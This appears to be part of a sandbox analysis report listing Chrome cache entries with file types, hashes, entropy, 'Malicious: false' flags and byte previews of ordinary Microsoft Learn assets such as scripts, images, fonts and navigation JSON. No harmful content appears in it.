Preview:	L..................F.@.. ...$+.,.....&"1a[....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.YoF....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YoF....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.YoF....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.YoF.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.YqF...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
